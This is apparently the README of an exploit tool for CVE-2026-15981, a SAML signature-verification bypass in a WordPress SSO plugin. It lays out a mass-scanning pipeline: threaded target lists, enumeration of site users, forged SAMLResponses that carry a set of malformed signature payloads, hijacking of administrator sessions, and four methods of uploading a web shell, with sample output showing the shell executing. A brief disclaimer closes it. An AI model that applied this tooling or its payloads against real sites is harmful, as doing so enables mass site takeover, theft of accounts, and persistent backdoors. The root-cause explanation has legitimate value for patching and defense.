Share
## https://sploitus.com/exploit?id=ACA86828-5C21-5718-A982-2A0E64261DF1
# CVE-2026-15981
SAML Single Sign On <= 5.4.4 - Unauthenticated Authentication Bypass via SAMLResponse Parameter



  
  
  
  
  


CVE-2026-15981

SAML Single Sign On โ‰ค 5.4.4 โ€” Unauthenticated Authentication Bypass


  Proof-of-Concept Exploit
  Malformed Signature โ†’ openssl_verify() returns -1 โ†’ PHP loose cast to true โ†’ wp_set_auth_cookie() as Administrator


---

## Vulnerability Overview

| Field | Detail |
|---|---|
| **CVE ID** | CVE-2026-15981 |
| **Affected Plugin** | miniOrange SAML 2.0 Single Sign On โ€“ SSO Login (WordPress) |
| **Affected Versions** | All versions up to and including **5.4.4** |
| **Type** | Unauthenticated Authentication Bypass |
| **CWE** | CWE-287: Improper Authentication / CWE-305: Authentication Bypass by Primary Weakness |
| **CVSS 3.1** | **9.8 CRITICAL** โ€” `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **Authentication** | None required |

### Description

The SAML Single Sign On โ€“ SSO Login plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 5.4.4. This is due to the `mo_saml_validate_signature()` function performing a **loose boolean check** on the raw tri-state integer returned by PHP's `openssl_verify()`, causing an error return value of **-1** to be evaluated as truthy and therefore treated as a successful signature verification.

This makes it possible for unauthenticated attackers to log in as **any existing WordPress user, including administrators**, by submitting a crafted SAMLResponse containing an attacker-controlled NameID and a deliberately malformed signature value that triggers an OpenSSL processing error โ€” bypassing verification entirely and resulting in `wp_set_auth_cookie()` being called for the targeted account.

### Root Cause

```
Attacker sends crafted SAMLResponse
         โ”‚
         โ–ผ
mo_saml_validate_signature()
         โ”‚
         โ–ผ
openssl_verify($data, $malformed_sig, $key)
         โ”‚
         โ”œโ”€ Returns  1  โ†’ valid signature      โœ“
         โ”œโ”€ Returns  0  โ†’ invalid signature     โœ—
         โ””โ”€ Returns -1  โ†’ OpenSSL internal error
                โ”‚
                โ–ผ
     PHP loose comparison:  if ($result)
                โ”‚
                โ”œโ”€ (int) 1   โ†’ true   โœ“
                โ”œโ”€ (int) 0   โ†’ false  โœ“
                โ””โ”€ (int) -1  โ†’ true   โ† BUG: error treated as success
                       โ”‚
                       โ–ผ
             wp_set_auth_cookie() called
                       โ”‚
                       โ–ผ
             Attacker is now Administrator
```

The fix is trivial โ€” `if ($result === 1)` instead of `if ($result)` โ€” but the impact of the flaw is total authentication bypass.

---

## Features

- **Multi-target mass scanning** โ€” concurrent processing of target lists
- **Full WordPress fingerprinting** โ€” confirms WordPress before proceeding
- **Plugin detection & version check** โ€” identifies miniOrange SAML SSO and validates version โ‰ค 5.4.4
- **SP metadata discovery** โ€” extracts Entity ID and ACS URL from `?option=mosaml_metadata`
- **Comprehensive user enumeration:**
  - WP REST API (`/wp-json/wp/v2/users`)
  - Per-ID REST queries (IDs 1โ€“10)
  - Author archive redirects (`/?author=N`)
  - HTML body pattern matching
  - Domain-based fallback + common admin names
- **IdP issuer discovery** โ€” follows `?option=saml_user_login` redirects and extracts IdP base URLs
- **SAMLResponse forgery engine:**
  - Proper Exclusive C14N canonicalization via `lxml`
  - Correct Digest computation (SHA-1/SHA-256/SHA-384/SHA-512)
  - Signature element injection after `` per SAML spec
  - 12+ malformed signature payloads designed to trigger `openssl_verify() = -1`
  - Iterates users ร— issuers ร— algorithms ร— signatures ร— audience flags ร— SP entity IDs
- **Session verification** โ€” checks for `wordpress_logged_in_*` cookie after each attempt
- **Admin role confirmation** โ€” verifies access to `/wp-admin/`, `/wp-admin/users.php`, `/wp-admin/plugins.php`
- **Profile extraction** โ€” reads username and email from `/wp-admin/profile.php`
- **4 shell upload methods** upon admin session:
  - **M1** โ€” Plugin ZIP upload via `plugin-install.php`
  - **M2** โ€” REST API plugin upload via `/wp-json/wp/v2/plugins`
  - **M3** โ€” Theme/Plugin editor file write
  - **M4** โ€” Media async upload
- **Shell execution verification** โ€” confirms `Nx-zD` signature in response body
- **Diagnostic engine** โ€” classifies failure reasons (DIGEST_FAIL, ISSUER, AUDIENCE, TIME, etc.)
- **Debug JSON output** โ€” full per-target diagnostic log for analysis

---

## Requirements

```
Python >= 3.8
```

```bash
pip install requests lxml
```

> `lxml` is **required** for proper Exclusive C14N canonicalization of the SAML Assertion.

---

## Usage

```bash
python CVE-2026-15981.py
```

You will be prompted for:

| Prompt | Description | Default |
|---|---|---|
| **Targets file** | Path to a text file with one target per line | `list.txt` |
| **Threads** | Number of concurrent workers (1โ€“100) | `5` |

### Target File Format

```
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
```

One URL per line. HTTP is used by default if no scheme is specified.

---

## Output

### Terminal

```
  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—
  โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•
  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—
  โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘
  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ•šโ•โ• โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘
  โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•     โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ•
   โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
   โ•‘  miniOrange SAML SSO  Admin Session            โ•‘
   โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
  By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
  T.m @Kxploit
```

Each target progresses through 7 labeled stages:

```
  ============================================================
    target.com
  ============================================================
  [1] WordPress
      confirmed
  [2] SAML plugin
      version: 5.4.4
      miniOrange SAML detected
  [3] SP metadata
      metadata entityID: https://target.com/...
      metadata ACS: https://target.com/
  [4] Users
      REST: admin (id=1)
      REST: editor (id=2)
      author/3: johndoe
      4 found: ['admin', 'editor', 'johndoe', 'target']
  [5] Issuers
      SSO redirect found
      3 candidates
  [6] Exploit
      COOKIE! #14 user=admin 0xFF*256/rsa-sha256
        wordpress_logged_in_abc123=admin%7C1753...
        wp-admin accessible
          user=admin  email=admin@target.com
          users.php -> Admin
  [7] Shell upload
      M1: plugin uploaded
      SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
        -> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...

  +==========================================================+
  |  ADMIN SESSION CONFIRMED                                 |
  +==========================================================+
  |  Target : https://target.com
  |  User   : admin
  |  Issuer : https://idp.example.com/simplesaml/...
  |  Method : 0xFF*256/rsa-sha256
  |  Cookie : wordpress_logged_in_abc123=admin%7C1753...
  |  Shell  : https://target.com/wp-content/plugins/nxproof/Nx.php
  +==========================================================+
```

### Result Files

| File | Content |
|---|---|
| `sms.txt` | One line per confirmed admin session โ€” timestamp, target, user, cookie, shell URL, issuer, signature method |
| `sms_debug.json` | Full diagnostic JSON for every target โ€” including attempt counts and failure classifications |

### Result Line Format

```
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256
```

### Summary

```
  ============================================================
    DONE - 142.3s
  ============================================================
    ADMIN=3  miss=47  skip=100
    results -> sms.txt  debug -> sms_debug.json
  ============================================================
```

---

## Exploitation Pipeline

```
Target
  โ”‚
  โ”œโ”€ [1] WordPress Detection
  โ”‚       โ””โ”€ wp-login.php / wp-json / jQuery fingerprint
  โ”‚
  โ”œโ”€ [2] SAML Plugin Detection
  โ”‚       โ”œโ”€ readme.txt version check (โ‰ค 5.4.4)
  โ”‚       โ””โ”€ SAML signature detection in HTML
  โ”‚
  โ”œโ”€ [3] SP Metadata Discovery
  โ”‚       โ””โ”€ ?option=mosaml_metadata โ†’ entityID + ACS URL
  โ”‚
  โ”œโ”€ [4] User Enumeration
  โ”‚       โ”œโ”€ REST API /wp/v2/users (bulk + per-ID)
  โ”‚       โ”œโ”€ Author archive redirect (/?author=N)
  โ”‚       โ”œโ”€ HTML body pattern matching
  โ”‚       โ””โ”€ Domain fallback + common admin names
  โ”‚
  โ”œโ”€ [5] IdP Issuer Discovery
  โ”‚       โ”œโ”€ ?option=saml_user_login redirect โ†’ IdP URL
  โ”‚       โ””โ”€ wp-login.php SAML link extraction
  โ”‚
  โ”œโ”€ [6] SAMLResponse Forgery & Delivery
  โ”‚       โ”‚
  โ”‚       โ”‚   For each (user ร— issuer ร— algorithm ร— signature ร— audience ร— SP ID):
  โ”‚       โ”‚
  โ”‚       โ”œโ”€ Build SAML Assertion with attacker-controlled NameID
  โ”‚       โ”œโ”€ Canonicalize via Exclusive C14N (lxml)
  โ”‚       โ”œโ”€ Compute correct DigestValue for the Assertion
  โ”‚       โ”œโ”€ Inject malformed SignatureValue (0xFFร—256, ASN.1 junk, etc.)
  โ”‚       โ”œโ”€ Wrap in , Base64 encode
  โ”‚       โ”œโ”€ POST SAMLResponse to ACS URL
  โ”‚       โ”œโ”€ Check for wordpress_logged_in_* cookie
  โ”‚       โ”œโ”€ If cookie found โ†’ verify admin role via wp-admin
  โ”‚       โ””โ”€ Classify failure via diagnostic engine
  โ”‚
  โ””โ”€ [7] Post-Exploitation (on admin session)
          โ”œโ”€ M1: Plugin ZIP upload + activation
          โ”œโ”€ M2: REST API plugin upload
          โ”œโ”€ M3: Theme/Plugin editor file write
          โ”œโ”€ M4: Media async upload
          โ””โ”€ Shell execution verification (Nx-zD signature)
```

### Malformed Signature Payloads

The exploit ships 12+ signature payloads specifically crafted to trigger `openssl_verify() = -1`:

| Payload | Description |
|---|---|
| `0xFF * 256` | 256 bytes of `0xFF` โ€” invalid PKCS#1 padding |
| `0xFF * 384` | 384 bytes for RSA-3072 key sizes |
| `0xFF * 512` | 512 bytes for RSA-4096 key sizes |
| `0xFF * 128` | Shorter buffer for smaller key sizes |
| `0xFF * 64` | Minimal invalid padding |
| `0x00 0x01 0xFF*254` | Looks like PKCS#1 v1.5 but with wrong structure |
| `0x00 0x01 0xFF*126` | Shorter PKCS#1-like structure |
| `null_2B` | Two null-adjacent bytes |
| `rand_3B` / `rand_7B` | Random bytes โ€” triggers parsing errors |
| `asn1_bad` | Malformed ASN.1 DER sequence |
| `ff_1B` | Single `0xFF` byte |

Each is combined with SHA-1 and SHA-256 algorithm URIs, and tested with/without Audience restriction, across multiple SP Entity IDs โ€” maximizing the chance of hitting the `-1` return path on any OpenSSL version.

---

## Disclaimer

This tool is provided **strictly for authorized security testing and educational research purposes**. Use it only against systems you own or have explicit written authorization to test.

Unauthorized access to computer systems is a criminal offense. The author assumes **no liability** for misuse, damage, or any legal consequences arising from the use of this software. You are solely responsible for ensuring compliance with all applicable laws and regulations in your jurisdiction.

---


  By: Nxploited
  Khaled Alenazi โ€” Nxploited ZeroDay Hub
  T.m @Kxploit